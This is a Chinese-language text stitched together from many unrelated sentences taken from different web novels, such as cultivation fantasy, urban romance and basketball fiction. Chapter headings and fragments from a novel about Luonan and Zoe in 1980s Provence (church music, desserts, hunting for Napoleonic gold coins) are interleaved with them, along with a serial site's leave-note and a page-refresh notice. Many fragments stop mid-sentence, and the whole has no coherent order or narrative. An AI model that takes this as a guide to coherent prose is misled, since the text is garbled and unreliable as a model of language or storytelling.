于是,岳灵风五岁起就练起了华山派的入门功法。这些功法一般都是等到弟子年满十四岁,心性稳定了才会传授的。正因为这样,岳灵风其实等于比同龄人早了七八年开始练武。 炎龙铠化为一束火焰流光,从他储物手环飞出时,裴琦琦也是见证者,当炎龙铠从史辉等人手中强夺天火晶时,他强行和裴琦琦道别,以星烁远离了她。 微风吹拂,大碗里面冒出来的热气向一边倾斜,瞬间又恢复了原样。 青鸾二人齐声一喊,俯冲下去将他接住,但二姐妹真元耗损也颇大,此刻已无法御空降落,最多也就只能使自己先落入地面,不至萧尘受损。 这块岩石比较特别,就竖立在僵尸领地的边缘。而据盗亦有道说,这块岩石是由尸巫战斗的时候,被罗德从山体上打下来的。 她到了医院,先一步去缴费,靳司丞给她的卡是信用卡,没有密码只需要签名。 第583章 姐离开了很多年,但江湖上还有姐的名字 圣母升天节是天主教和东正教的重要节日,为了纪念耶稣的母亲玛利亚在结束尘世生命后,灵魂和肉身一同被接升天堂的‘圣母蒙召升天’事件。 根据历法不同,日期有些许出入,天主教的纪念日期在公历8月15日,东正教在8月底举行。 在一些天主教国家,例如德国的萨尔兰州和巴伐利亚州,圣母升天节是公共假日。 虽然有些在意王家或者说华国会和源影国际集团达成什么协议,但老头子显然没有让他知道的意思。 高俅正要说话,姜教头却抢着说道:“太尉,内堂里面的是皇上,这两个鸟贼应当不是陈松的爪牙。”,他指着地上的两名御前侍卫。 只是挡下后该怎么办?巨人可不是这么好对付的!卢尼心里格外紧张。 它身负灵兽一族,关于生死祭坛取胜的重任,如今知道希望不大,却也挂怀母亲及弟弟,自然对如何脱险最为关心。 贾正金在议事大厅最里面的团长宝座,身边围着梅丽、塔塔尼尔、艾莉克希亚等人,也在低声讨论。 当这个极为陌生的“阵”字印记甫一出现后,朱砂立刻感受一种可怖的气息。 干了一上午活,陈最肚子饿的咕咕叫,下了楼,在一楼的艳梅饺子馆要了两碗蛋炒饭。 武松听到陈二狗的话,虽然是歪理,可也看得出他这人尚有廉耻之心,突然福至心灵,想到自己的一个烦心事,今日有望解决了。 “师兄,到底是什么事情,竟是要搞得这般神秘?”朱砂有些疑窦的望住白杉道。 这时一只黑‘色’的大猎鹰。按照自己主人的命令。朝着莫涟漪攻击了过去。 我的脑袋一阵阵嗡嗡的,只是低着头,看着手上的节目单,并没有回答他什么。他见我如此,也不再说什么,走到场上去参加运动项目了。 一股诱人的药香瞬间飘了出来,丰田和张帆只是一闻,便感觉神清气爽,张帆更是感觉体内的伤势好上不少。 他睁开眼睛的时候,率先看到的就是虞筠曜、高雅、虞千雪、还有那个暂时被定义为千雪男朋友的男人。 此时武者已经陆陆续续进来了,而他旁边的包厢也开始进入人了。 太子却只是让人给三皇子斟茶,并不对这些事情发表任何的意见。 和同学打架打的满身是伤也就算了,如今还堂而皇之的威胁别人。 他记得,她有失眠症,一旦有心事便会整夜失眠,白烁曾经带她看过医生,她有很长一段时间都是靠安眠药来入睡的。 即使是塔矢亮,也感觉到了一阵子的震惊,她没有料到,自己父亲的身体已经差成了这个样子,倒在病房里的时候,她和母亲是最为担心的一个。 听着张良的话语,一直站在身旁的真户晓微微一愣神呢,她还没有反应过来自己应该怎么做的时候,张良就已经开口说话了,然后还不容置疑的直接就将自己给拉了上去,和真是让真户晓不知道自己应该说点儿什么才好。 李恒轩再次说道,浩浩帝威猛然涌出,给天虫武帝造成心灵上的威压。 “一点都不听话。”塞莉亚托着下巴心里无聊的思索着,眸子一转,露出委屈的模样,捡起面包走了。 可是谁听他的呀,该抽鞭子的抽鞭子,被派去取木枷的去取木枷,完全没有没有把他这个守备放在眼里。 第584章 ‘上帝之音\’第一次在吕贝隆上空炸开 艺术品商店内无比嘈杂,但罗南还是一眼找到了发出声音的买家——那是一位戴着无框眼镜的中年牧师。 随即商铺内自发岔开一条小路,将问话人的身影显露在大众的视野之下。 在罗南生活的时代,普罗旺斯看不出明显的阶级属性,但他听村民讲过以前的情况,在很久很久以前,普罗旺斯的一切也都是按照社会阶级划分的 除了恐怖教,李自成并非一定要消除异族,至少不愿用流血的方式。 此言一出,在场之人表情都有点不自然,如果说世界之灵的力量还能够慢慢自然恢复的话,那气运之力就是纯粹的消耗品,用了那就没有了,只能重新获得。 傍晚,罗燿处理清公务,又回了趟家见过爷爷,才准时出现在舒适大厦门口,看到舒语默出来,他下车迎上去。舒语默见到罗燿,几乎是用跑的。 中古世界的语言,吴清晨已经能够基本理解,对话也没有什么障碍。 安托万——豌豆组:目标对象各项参数在正常波动范围之内,吴清晨先生提到“好梦”、“早祷”、“麦籽”等关键词时,目标对象体温、心跳、微表情、体表状态等指数无异常波动。 也就是这样的人臣太多,禁锢了大多数武将的用兵之道,也因为此,让那攻城利器炸药变成了累赘,这种自废武功的心态,让李弘很是愤怒。 皇太极大喜过望,虽然一向看不起辽东的明军,但他实在没想到战斗赢得如此轻松,这场战役虽然打了两年,但大清士兵的伤亡,实在可以忽略不计,倒是明军,除了少量战俘,十数万大军不是被杀,就是被困在城中饿死。 然后骑兵再入其它的村落,土人首先就降了,刘云水遵从李自成的嘱咐和西宁军的军律,倒是秋毫无犯,但村中的少许回人,抵死不肯改奉天主,刘云水懒得啰嗦,为杀鸡儆猴,也将这些回人灭了满门。 “就几百,哎呀,你问那么清楚干什么?难道你还能把钱变出来赔给我?”顾立辉差点把真话说出来,不由倒退了一步恼怒道。 “我们没事,我们没事!”两位师傅倒是很淡定,因为他们相信他们培养出来的徒弟,不会让他们失望的,要不然培养那么久还不如培养一头猪。 “请您出去。”少年语气恭敬,可那英气的眉宇一敛,气场顿强,不容置喙。 后宫内,凤凌泷告别了凤吟后,让人通报贤妃娘娘,说自己有点事,等会儿就过去。 系统:……本系统也很无奈,本系统什么都不知道。知道了也不能说。 “这到底是谁干的?未免也太狠毒了吧!”楚盈盈握紧粉拳,咬牙切齿的说着。 溪染立即取出银针,一手直接撕开他胸前的衣服,一掌青色的手印映入眼帘。 就在他感到很不可思议时,陈阳抬起手来,冰冷的大刀就这样对准地上的无头人。 队长包括上面的人,实际上已经把顾熊猫当做几只妖精的领头妖精了。 放学的时候,许玲玲一直很哀怨,有好几道大题都是夜清清交过自己的,可是一下子就忘了。 陈阳不愿再多看这人一眼,看着朝自己走过来的沈梦溪,心都化了。 也就是说,没有我,绝没有曦月的现在,绝没有曦月王朝的未来。 前几天她去采购了几盆花过来点缀阳台,此时坐在椅子上也是惬意的很。 希望今晚我们一切顺利,不仅可以找出这个石狮子的秘密,而且可以把妖化了的石狮子完全的除掉,这样也算是帮奶奶解决了后患,奶奶便再也不用担心受到他的影响了。 影暗卫的直觉告诉他,这个男人确实很危险,目前若是与他对上,能赢的几率为百分之五十,他不知道公主整日在烦忧什么,但,他作为影卫,只能让自己变得更强,来保护她。 况子遇的唇边带着一丝丝的苦涩,他从背包拿出了一瓶农夫山泉,然后“咕咚咕咚”的直接喝光了。 那双泛着红光的巨眼,从我转过身来就以贪婪的目光盯住我怀中的苏狸丝毫未曾有过偏转。 曾在战穹战斗过的仇烈火听过这种材料。月海玄武岩之所以珍稀,是因为它根本就不是地球上的矿物,而是来自月球月海深处的玄武岩。 这一撞的力量实在是太大,转眼之间夸父不由自主地屁股向后倒飞出几十米远,砰砰砰砰!但那夸父的反应也煞是惊人,原来仇烈火就在巨人夸父形态的双肩之上加配了两个黑虎导弹射器,这回正好派上用场。 一声惨叫在脑中炸响,陆忍就像被一桶冰水从头灌下那样剧烈地颤抖起来。 之前要不是自己出手,他可能是连宋家的那个保镖都打不过。怎么可能受的了自己的压迫,不过事实却是王默受住了,而且还没有什么大事的样子。 解说门和现场的球迷们都已经处于一种十分癫狂的状态了,在他们看来,皮尔斯已经疯了,他就像是一个疯狂的剑客,刀手,刺客,哪怕流尽了鲜血,也要将王的王座砍个稀巴烂。 只不过,眼尖的林昊还看见,那周身处的紫色光芒之外,还有着紫色的电弧,在那里不停的闪动着。这一看,他立马就知道是谁了。 在已经“内外交汇”的秦望,以及张尧海,陈画冬这样一等一的高手合围之下,犹入无人之境。 李梦龙对于美国队这5名先发球员的资料搜集地很完备,比赛打到决算,老李也终于明白了中国队是冠军的有力争夺者这个事实,每晚做梦都会笑醒。 这几天,王有成一直闭门未出,满心思都花在了四灵玉上,只可惜翻来覆去,就差没拿火烤榔头敲了,也愣是没有看出个所以然来。 他们相信,即使是在兵荒马乱的奥嘉大陆,惊鸿、云祁和庆辉也能保他们一世安泰。 此刻的墨惜早已摆脱邓肯,来到了罚球线上,接到休斯顿传球之后,稍稍弯下膝盖,而后身子一起,跳投出手。 第585章 艺术家罗南先生上号! 唱诗班和管风琴演奏交替在卢尔马兰老教堂里呈现。 听完半个多小时的管风琴演奏,唱诗班再次出现,罗南等人自觉走出教堂——今天来参加节日活动的人非常多,一直霸占着座位不合适,腾出地方来,让大家轮流感受音乐的魅力。 不过他们并没有离开教堂太远,因为希尔维要带冯珍和管风琴演奏家见个面。 “来 河浪之中除了那道人之外,还有一尊神像,神像在道人的上方,随着河浪不断的缩回绣春弯神庙处。神像落回神庙之中的神台上,而神像的下方则是那个道人。 每一次吞吐,夜锋的肉身都会增强一些,每一道奇异力量,都融入了夜锋血肉之中,不断激发他的肉身潜力,仿佛是在从内部向外淬炼一般。 纳兰王认出了这三味真火,他心中极为吃惊。虽然此时的天地间,整体上来说,没有人见到过仙道以上的人物,但是却有人用特别的方式自千年前的大劫之中活了下来。纳兰王相信,因为从某种意义上来方,他就活了千年。 听到宋七的话,谢峥不禁一顿,然后苦笑着摇头,当真是关心则乱。 而成为vip之后,就是十三这样的牧师,发布任务只需要付出八个金币就可以了,如果有人接任务并且完成,程逸会把八个金币中的七个金币打给任务完成者,只手下一个金币当做是佣金。 “是Magic先生让我们带她回來的,她当时追踪坦克,摔倒在草丛中,我们差点就误认她是敌人了,非常危险。”其中一个口齿伶俐一点的武装人员道。 以前柳天想让雨儿做自己的妻子,现在他做到了,但是现在他却只想要柳天活下去。 他知道在九幽宫内中心处,有着一座九幽城,城内妖修无数。虽然一直知晓九幽城的所在,但前几次夜锋一直未能有什么机会前去看上一看,这一次反正还有不少时间,夜锋也就打算好好逛一逛九幽城。 顿时嬴泗的脸‘色’有些古怪,袁洪居然对着他说谢谢团长,虽然嬴泗前世已经成就了天仙境界,但袁洪同样也是天仙,并且比嬴泗成就的时间要早不说,更是当之无愧的刺客职业第一高手。 进化到机械生命,想要提升自然也需要大量的能量,比真正的智慧生命提升更加困难。 但它也只守护明月长生殿罢了,如老妪这般数度出手,也不曾真的现身将其诛杀。 随手加上力量和生命值增幅两个buff,接着就换上空间龙王之刃,再次释放幻影分身斩。 之前的几日里,这个袁洞主处处鄙视秦良玉,毫不遮掩自己的态度。然而昨天他却被秦良玉救了一命,此时看到秦良玉早已经是满脸羞红。 叶凰兮跟君无曜走在繁华的街道上,不知道什么时候起便挽住了男人的手臂,视线瞟过那些打量的视线。 亚瑟王猛地一惊,手忙脚乱的把车停在路边。回应梅林疯狂的热吻。 所以,他一直稳稳地坐在窗边,甚至还摆出了最悠然自得,最能体现自己温柔的姿势。 北京城,刘宗敏所占据府邸大院中,一片惨呼哀嚎之声。十数名明廷官员正同时被拷掠受刑。府前车水马龙,一车车,一箱箱的金银财宝在院中已堆积如山。 惠仁帝看上去也并不觉得这有什么不合适的,脸上带着欣然的表情,微微抬手,让众人坐下。 第586章 开放性‘考试\’ 工作室二层的大厨房之前只使用过一次,罗南和佐伊举行婚礼后没几天,佐伊的姐妹团来家里吃饭,曾在这里烤过一次肉桂苹果派和黄油煎饼,所以该有的厨具和模具都提前备齐了,罗南这次过来又带了做甜品所需要的食材,想做什么可以直接开始。 不过罗南没有着急创作,而是先做起了卫生。 平时佐伊基本在一楼工作, 风云榜前四百名的学生,可能对此并不怎么关注,因为他们争夺的是10倍和5倍修炼区的资格。 宫千竹看着不忍,想过去将年岁大了的老伯扶起来,却被长乐一把拉住动弹不得。 为了不找麻烦便将脸用纱巾遮住,身后二人是林雪梅与包御萱,三人本可瞬移到开封,却又怕路上与展昭错过,所以三人只得步行。 要知道此时她的法宝栏还是空的,而且那个法宝可以将击杀的目标召唤出骷髅战士协助作战。 再最后!他们犹如作了一场梦,活在梦境中,把自己当成鬼,生活在鬼的世界里。 事实上,天元腾蛇枪乃是上一代腾蛇真灵为抵挡真仙劫以自己大龙骨为材炼制的本命至宝。 龙傲天没有说话,反而笑了。你们真是瞎了狗眼,没见老子在这里么?你们再牛逼,有我牛逼么? 昨天龙傲天没有直播,很多观众早已是抓耳挠腮,一天不看骚神的直播,就浑身难受的那种。 他没动,方耳、庄云海也没动,因为郭宇才是进塔的最大功臣,没有郭宇,他们没有机会进来。 “没有人限制你的自由,也没有人管辖你,只是给你一个权力,但如果真的华夏国有什么危难,希望你能尽一份力,毕竟你也是华夏的一份子不是吗?”吴国栋认真地说。 打不死这流沙巨人,还打不过你吗,把人杀了,啥问题都解决了,君邪想着。 “可如果她重伤昏迷不醒呢,我们若不过去,她连使用异能的机会都没有。”秦尧对于罗柯的说法并不认同。 这顿饭他们吃的还算高兴,白老爷子一直都是在问着关于平常生活的事情,忽然之间就聊起了艾丽丽。 “原不过是家常穿的旧衣裳。”三太太看着桌上的糕点,微有点出神。 就在九罗用出断龙枪的时候,高擒虎十分意外的看了一眼高擒龙。 “这件事情哪里这么简单。我早就跟你说过,有些事情不像是你想的这么轻松。好了,你们先出去等吧,封璟这边应该不会有什么事情。”秦尧说完之后,这才看着龙傲天等人。 洛红裳只是无奈的看了眼有些火急火燎的男子,对方进了房间之后便是开始认真感悟司空月华给的那份玉简秘籍。 这是什么地方,这是海盗盘踞着的黑市,全是刀口舔血的亡命徒,哪里能受着这样的气,有一些围观者开始加入战局。 卡洛斯姐妹的家族,就以水系魔法为主。因为常年居住在北方,靠近雪山,纬度较高,每年有不少时间被冰雪覆盖,因此水系中又以冰雪魔法最为擅长。贝拉和安娜即是年轻一代中的佼佼者,素有「冰雪姐妹花」之称。 医院这边希望他这个新上任的医学主任过去一趟,徐佳只能够和许庸告别。 由于两盏大灯的光束问题,恍惚中,秦力仔细辨认后,最终确定,没错。 独眼数完钱后,高兴的把钱装进口袋,他亲自带着梁飞离开,去了隔壁的村子。 第587章 答案就在眼前! 佐伊和罗南的蜜月被安排在了10月份,但去哪里还没有定下来,不过肯定不会离开普罗旺斯大区......因为这里是全法游客的度假天堂,连国外游客都慕名而来,他们完全没必要舍近求远去别的地方。 罗南不缺手艺和能力,缺的只是灵感和方向。 为了让他换换脑子,佐伊安排罗南去了解普罗旺斯的历史和地理资料 龙影所过之处,那本就千疮百孔的擂台瞬间倒塌,化为一堆废墟,只有雷坤所站之处三米内的擂台暂时保持完整。 我看着那只手一点点的将黑色的木盖子揭开。在看到两只骰子上面一共十二个点的时候。知道自己是输了。 既然夜魂都这么说了,那夜影就没什么担心他那方面了。虽然知道夜魂这是一个善意的陷阱,但是夜影还是发下自己没办法的跳进去了。因为司空家族实在是太配合夜魂了,让夜影都以为司空家族是和夜魂串通好了的。 一口鲜血差点没从我口中喷出来,暖床护卫,这么新颖的名词亏他想的出来。我狠狠的瞪着他,见他嘴边含着笑意,抬起脚又重重的踩在他脚上。 柳奎嘴中一声怒吼,四只爪子在地面之上猛然一蹬,一阵灰尘迎风而起,柳奎所化的巨兽撕裂空间对着王杰爆冲而来。 “你为什么总对我这么冷淡?”这是我一直想问她的问題,我自觉沒有哪里对不起她,甚至还救过她的性命。 “喂,你的同伴都放弃你了,要不你今后就跟着我混吧!至少我不会拿同伴或手下的性命开玩笑。”巴达克微笑着看着身下的七星龙说道。 刺客挟持着云潇潇飞奔到城隍庙后的树林边,见无人追赶,将她扔下,钻进树林消失了踪影。 佛里即使是在他们这些人里面,也是以皮糙肉厚而出名,可是这个家伙,却是居然能够直接一拳打的佛里不住的吐血,所有人的脸色都变得非常的难看。 十星幻兽,九星幻兽,这种高级的存在,几乎是可以秒杀一大片的皇级高手。 得知涅槃还有人活着,孟起的心情陡然轻松了不少,虽然不知道究竟伤亡怎么样,不过既然有人活着,那就还有希望,在没有找到他们之前,孟起是不会相信他在乎的人会死掉的,不论是欺骗自己也好,相信她也罢。 当珩少一旁观察到那个老先生手里的显眼玉扳,不禁想到这是赌场的王者象征,这个老先生在珩少的心里愈发神秘了。 “没有,没有不过你的舞蹈的确是挺好看的,能在跳跳吗?”这些人兴致勃勃。 倪凌歌从倪震天的房间里一出来,就看见凌耀领着一个面容姣好,气质不俗的姑娘朝着这个方向走了过来。 十几名保镖一拥而上,将秦珩带来的共七名保镖搜了全身,待到他们摇头表示无果后,乾哥才放下警惕地命手下退到一旁。 龙家在华夏是顶尖的名门望族,尤其是在军中有着非常高的威望。可以这么说,龙家的掌舵人随便跺一下脚京城就得震三震,可见龙家的能量之大。 孟起收回目光,看着前面道路尽头处的巨大拐角和拐角旁的商业街中涌出来的丧尸,黑骷髅一个扭头便拐过了弯道。 两车手打个手势便分开了,法拉利的贵公子朝秦宇和刘轩民这边大步跑过来。 他这片新买下的土地比美国很多县的面积还要大。但是其中大部分区域都需要他再投入之后才能利用。 听王槐这么一说,三生顿时眼睛一亮。要知道由于天地灵兽和凶兽灵智有限,所以先前他们在攻打血傀宗时,所收服的那只龙鹰现在还在他的纳灵袋中呢。 吃饭不说话这种情况,这要是搁在平常,唐可心也不会多想什么,可唯独在今天这个时候,一抹不安在她心底油然而生。 “这个当然没问题!”王乙说道:“王家内部投靠邪修者的人毕竟只是少数,而且这些人几乎尽在我的掌握之中。我不动他们只不过是想放长线钓大鱼而已。 叶子昂感受得出巨蟒的努力,也是不愿意辜负了这份坚持,咬紧牙关,让蔡子衿放弃观察外围,全身心投入到丹药的炼制之中。 欧阳纱愤恨的揪紧了双拳,恶毒的目光仿佛要把夏希的身体穿透一般锐利,指关节处“咯咯咯”作响,一脸不甘的神情反而使欧阳纱显得心机更重了几分。 言空自己也挺惊讶的,毕竟卢卡斯是看门人,实力要比其他关卡更高一点。 如果他要买大型飞机,想要直接从奥泽特的机场起飞大飞机,根本不可能。大飞机买回来后就只能将飞机放在大型的机场内。那对他来说不够方便。 换过尿布的汉娜坐在沙发上舒服地捧着奶瓶吃着,眼睛却看着林克在和酒店的侍应在说着什么。不过终归是现在的她听不懂的。不过她发现爹地好像很高兴呢。 她觉得,她上了蓝慕澈的车,就是把生命交给了他。一个失误,他们可能就一车四命全部完蛋。 望着外面的夕阳,陈曹不知道怎么回事,心绪不宁,烟一支接一支的抽着。 第588章 宝藏的故事! “你是说......想把后院的‘假山’清理出来?”罗南打奶油的手停在半空,看向意外出现的妻子。 佐伊兴致勃勃的说: “先把那片区域清理干净,再在同样的位置上种上一排排鲜花,未来那里就是我们家的花园了!” 罗南和佐伊的共同的爱好真的不多,但动手能力是他们同样擅长的。 深思熟虑后 谁!谁打我!六角蝾螈左右晃着脑袋,想要找出偷袭它的家伙,抬头一看发现了罪魁祸首。 虽然早已料到会发生什么样的事情,但屏幕前的众人仍然感到头皮隐隐发麻,古顿更是夸张地咽了一口唾沫,像是要确认自己的舌头是否仍在口中。 “法律会有她的准则,她犯下的罪行是一件事,你们的杀戮又是一回事,要凌驾于法律去剥夺他人的生命,这是我绝对不会允许的。”凯特琳郑重地表明了自己的态度。 “战吧,我的弟弟…我会让你知道为什么我是家主…”菲克斯此时脸上再无笑容。 詹姆顺着他指示的方向看去,正好发现一把滑膛枪被马车底下伸出来的一只手给拖了进去。他的第一反应,就是有敌人躲在马车下面,差一点就要直接射击了。还好,巴布及时拦住了他。 林曼制止了贵族们的争吵,给接下来的商讨定下了基调。可是还没等商谈继续,一个私兵匆匆闯进帐篷,还不等贵族们发怒,私兵的一句话,让众人再次被惊住。 上陀星核即是没有接引的意思,魏贤猜测他有些不确定自己是否极君,而“飞”不能说是极君独有的,但不会飞的肯定就不是极君。因此,魏贤只能消耗不多的信力,让自己飞空,飞到顶层并不需要5分钟的。 斗坠是太浩秩序斗部标配之一,用以锁定“叛序者”,叛序者不同于违序者,叛序即如同“人人得而诛之”。程生隆入职斗部已有一百余年,虽不属于萌新却也不是老鸟,否则,也不会被派遗到太浩秩序边沿的“玉岳位面”。 而且这些印第安人,就算换了强力的武器,对付一些民兵和猎人还行。对付正规军队,哪怕是武器落后的正规军队,还是有些不足。肖林有信心,通过训练加强这些人的战斗力,可是这也得让这些人完全听他的。 陈爷爷想了一想,把他和汪大爷的关系给我解释了一遍,我这才知道他们之间有着长达数十年的友情。 装傻充愣,平日里谁会在意一个傻子,甚至在升学毕业考试之前埋下炸弹这样的事,最后都没查出到底是谁做的,因为没人会想到那是一个傻子所为。 回想起来,只能是打从上来,就直接到了第三层,第二层不知道被什么蒙蔽,给漏了。 沈秋愣了愣,她没有想到陈耀会突然这样说话,但是她却是无比坚定的回答了陈耀的话。 经常下山行走于各界的唐供奉,那风度翩翩的面容在看到这红晶长剑之后彻底吓傻。 或许是因为……她躺在那张‘床’上的时候,我有种很奇怪的感觉,感觉那张‘床’,好像本来就是属于她的。 另一个青年拉了拉那个领头青年的衣衫说:“揆要,不要再求他了,我们另想办法!”说完拉上那个叫揆要的青年要走。 随着王徒每走一步,全场就安静一分,所有人都哑然地看着王徒。 第589章 我只想和你在一起 第二枚金币的出现更加印证了老卡尔的推测——罗南家的后院里很可能存在一座拿破仑的宝藏! 这发现让罗南兴奋不已,原来那不是座‘垃圾山’,而是金山吗? “不只是垃圾山的范围。”罗南环顾四周,眼神炯炯,“整个院子下方都可能有金币的存在,不要忘记这些土是从哪里挖来的。” 挖地基的深度有限,在 “看什么,绑的就是你!”苏易没有废话,直接将他收到了天宫之中。 心底忽地感到一阵酸楚,那立即涌上来的酸涩之感一时间竟哽住了喉咙,立即低下头掩住眉眼的神色,不再靠近。 随后的事情,大家就都知道了,世界政府开启了世界巨炮,对着恶魔战界联系的轰击了几百下,成功的解决了被困在里面的人类,虽然绝大多数人并不知道世界巨炮的存在,只是知道恶魔战界破损,然后里面的人就出来了。 若是真有什么好东西,打听出地址,大不了叫先遣部队去跑一趟。看他们完好无损的样子,那地方自然是不危险的。 中午时分,找了个空旷的路段,大家在边上的树荫底下准备吃饭休息。白零吩咐叶素素拿出她包里的食物分给大家,姚铁程峰观察着四周巡逻着,白依准备着饮料和水。 后来,魔杖红日出炉,威力惊人,成就传奇威名,而那两只暮光兽却被生生吸成了干尸。 姚铁和简亚两人在凳子上横躺着,随着车子的移动,身子也跟着晃晃悠悠的。 阳顶天说罢,而后直接一抬手,无尽的真龙之气,刹那间,充盈在整个四周。 “那你想怎么处置,丢掉吗?”明心听到叶风这话,心里也有些迟疑。 尽管过去了不知多少万年,但是这里还是保留了近三百只实体傀儡,相比起元符宗,这种情况明显要好上不少。 叶玄府动用了身后的阳玉之力,纯阳、雷阳、阴阳等力量,一同爆发,一掌派去,和升到半空中的血色巨脸撞到了一块。 想必也是出去走亲戚串门了,傍晚时再打吧,如此想着,却让叶良辰等得格外的焦急。 从战星陨落,到此刻的第一次以太空战,之间的时间不过短短月余,而且接二连三发生了那么多的事情,霍雷根本就没有时间和心情去进行魔法训练,魔位值为什么一下子增加这么多? 可惜,他遇到了叶玄府,身具两件仙器,又是道策地君,修为更是到了大境,距离圆满境也不过一线之遥。 “贝拉也没睡,是不是房间那边太吵了?”霍雷客气的说道,贝拉作为彩虹号的客人,自然被安排在船尾楼的三楼客舱,不过糯米糕一些船上的头头们也住在那里,有时候晚上又是喝酒又是赌钱,自然吵闹的很。 最终面对空空如也的电脑硬盘,正直的骚年叶良辰终于战胜了可怕的心魔,玩起了星际争霸,7家电脑被他虐得死去活来。 但是本来数量就不多的军用战舰还被分散在了大量的起义军部队之中,被分配到了各个对虫洞通道发起攻击的部队之中,这些军用战舰到底还能够发挥多大的作用,这就真的是不清楚了。 叶玄府目光一转,心想难道还怕这个长江河伯坑害他不成,当即答应来下来。 这些人想了半天,最后想了两个办法,一是美人计,二是请擎天剑帝出面招揽。 请假条 白天同学聚会,晚上去看疯狂动物城,请假一天,抱歉抱歉,实在抱歉。 《1986:我的普罗旺斯幸福生活》请假条 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 《1986:我的普罗旺斯幸福生活》爱曲小说全文字更新,牢记网址: 第590章 我在旁边鼓掌还不行吗? 说来神奇。 罗南和佐伊不一会功夫便在垃圾堆里找出来两枚拿破仑三世时期的金币,20多个壮汉兴师动众了一晚上,连金属探测器都搬出来了......愣是没找出来第三个。 似乎宝藏已提前规定好了主人,人不对就不肯露头似的。 教授的学生们还有实验要做,在第二天早上离开了卢尔马兰村。 没有 而后,李无道一把抄起绿姬,带着王冬儿,极速往实验室外冲去。 唐铭让出租车司机停下汽车,交了车费之后。就往那幢熟悉的单元楼走去。 但现在特么的,都原地大爆炸了,还能换个身体继续出来搞事儿,这就特么地太过分了好不? “该死的终结者战队,该死的无,”巴明愤怒地挥拳砸出,将身前的东西全部都砸得稀巴烂,在接连几次堵人都无功而返后,他就是猪也明白,在那野外沦陷区中,自己根本奈何不了那个无。 “卧槽这和抢钱有什么区别?”郭少华直接爆了粗口,即便是知道这一道吊汤白菜用的原材料比较繁复,可依旧没能想到,这大街上的地摊货,还能够卖出这样的一个天价。 听到薛蓝的回答,林老笑着点了点头,接着侧过身子,对着一旁的中年男子低声说了些什么,而中年男子也是频频点头,看样子,显然对于林老非常尊敬。 庄锡翰、巩岱两人都是几朝元老,原本跟王景生一般,都是中立,尚在观望。 “唉……世间安得双全法,不负如来不负卿……”佛说如是又念起了念佛常常挂在嘴边的诗。 估计大汉也看出来柴榕脑袋有些问题,没办法沟通,就想把家里人给喊出来。 这一刻,我期盼了好久,多少个午夜梦回之际,我都在想这一幕,和我哥重逢的一幕。 大约过了五六分钟,杨大蛮突然发出一声轻哼,身上开始变成一片赤红,从脖颈一直蔓延了整张脸,连耳根都红透了。 不过我是绝对不会坐以待毙的,我也知道,面对黑甲执事,我不出绝招是不行的。 蛮哥突然一瞪眼睛,手上的力道加重几分,如同一块铁板不断砸击在老黑的肩膀上,把老黑拍得七荤八素,却不得不嬉皮笑脸的忍耐下来。 她以为,她是可怜人,所有人都必须担待她可怜,可除了父母,谁会无条件爱你、担待你呢? 苏无恙拍拍他的手臂,想要起身。秦方白担心好不容易修复的关系又变糟,也就没有强迫她。 地龙听罢没有在说什么,地龙这是看看时间尚早,目前才是下午三点多,现在去宫里时间刚刚好,皇上与慈安估计也已经午休结束了。 这三个字,在苏影湄的脑海里面,一闪一闪。将她的心,揪的生疼生疼的。 掠夺者车内,叶天紧盯着面前的监控屏幕,画面切到了甲虫无人机的视角,两个无人机都已飞抵目标。 苏无恙从未见过这样的秦方白。仍如平时一般沉静,却给人一种极其忧郁的感觉。 慕风华眼角余光一扫,不动声色的把那只簪子用手帕一擦而后把那占有欧阳坤的血液的手帕,随手丢在了一边儿,而那簪子,却是又被她簪在了发鬓之上。 其他人看他们先前相谈甚欢,倒是与传闻中所传说,这个五皇子西风景天是因为被其他的皇室成员所排斥,所以才会被送往祁元王朝来的,一点儿都不相符合。 第591章 你绝不是孤军作战 灵感枯竭时做什么都没有感觉。 灵感爆棚时想停都停不下去。 歌迪亚给出的建议收获了奇效,罗南的创作灵感终于爆发了。 佐伊的陪伴让罗南有了旺盛的表达和倾诉欲,每天都会做出一到两款玫瑰或者其他鲜花样式、主题的甜品作品。 佐伊当然无比的开心和激动,罗南做的每一个作品都是送给她的,但问 但这车队在进入比勒菲尔而,其那辆满是水声的大车却脱离了商队,直朝南城行去,最后……停在了无敌的居所外。 魔祖罗瞩坐在弈台前,面无表情的静静看着棋盘上那两条黑色灰色的大龙的绞杀不休,每一颗棋子此刻都变得模模糊糊,渐渐的透明起来,魔祖罗瞩赫然便通过这弈台,将这天地三界的一切都看得分明。 我认真的听着萧梵讲的话,可脑子里想的却是张北有生命的延续吗? 妖族行事不以感情主导决定,也缘于此。在人族看来,十分冷血无情。 杀死了钢板日川,我和叶心都松了口气。不过我们都顾不得休息,得必须马上离开这个是非之地才行。我拉起叶心的手正想走,突然间我的身体动不了。而且,中国心的光芒大盛。 “也不知道现在老板和老板娘怎么样了,自从毕业了就没有再见过他俩。”我感叹道。 妲己二人见状也吓了一跳,二人是没想到赤精子会突然下毒手,忙弃了他去救喜仁,堪堪接住却发现她已经没了呼吸,竟然是一下就丧了性命。 面对着心凌郡主力量的再次变强,尤一天没有丝毫的惊讶,心中仍然是那么平静,此时此刻,就算是天塌下来尤一天也能从容面对。 “那就专门派个卫生员来照顾史嫂子,这钱由乡里来出。”赵政策想了想,估计是史嫂子这个时候是没有任何心情去医院的,也不好勉强,就换了个折中的办法。 但传承多年的一个古老组织毕竟还有着其深远的影响力,所以念祖终究还要继续继承下去。 原来是这么一回事!那个强者冲着格雷格来的,只是顺道给团长一些好处。 待他走出后,那六名清一色的劲装护卫青年,皆是目瞪口呆的同时望住他。 布鲁斯一看陈最的表情,就知道刚才那番话是白说了,眼前这位明显没什么公德心,世界和平民族大义这些高大上的口号看来是打动不了他。 贾正金都看在眼中,刚才说这句话让秋菊背锅,自然是故意引导对方注意力,使其集中于无关人士身上,给自己制造机会。 看着这个双腿无法站立,举手投足却依旧气质高冷优雅的男人,楚天厉内心不得不承认,他的外表和气质的确很出众。 陈牧照办,结果输入欧气之后,斩舰刀就好像活过来了,和他的身体产生了一种奇异的共鸣。 “好了,别生气了。你在这边气的不得了,索菲在家里哭的死去活来,这是何苦呢!”陈最冲伊娃的耳朵里吹了一口热气,这是对付绿妖精的必杀技,百试不爽。 “一等战将,那又是谁能够获此殊荣?”几位副将都是目光铮然发亮道。 尼玛!武松心中笑骂着,从怀里摸出十两银子,偷偷塞到珲哥手中,也不再理会了,他现在正想着怎么替王二牛解开这个困局。 气氛就这么冷了下来,期间墨凡开口说了几句话,却都被黄佳给无视了。 第592章 立志当地主 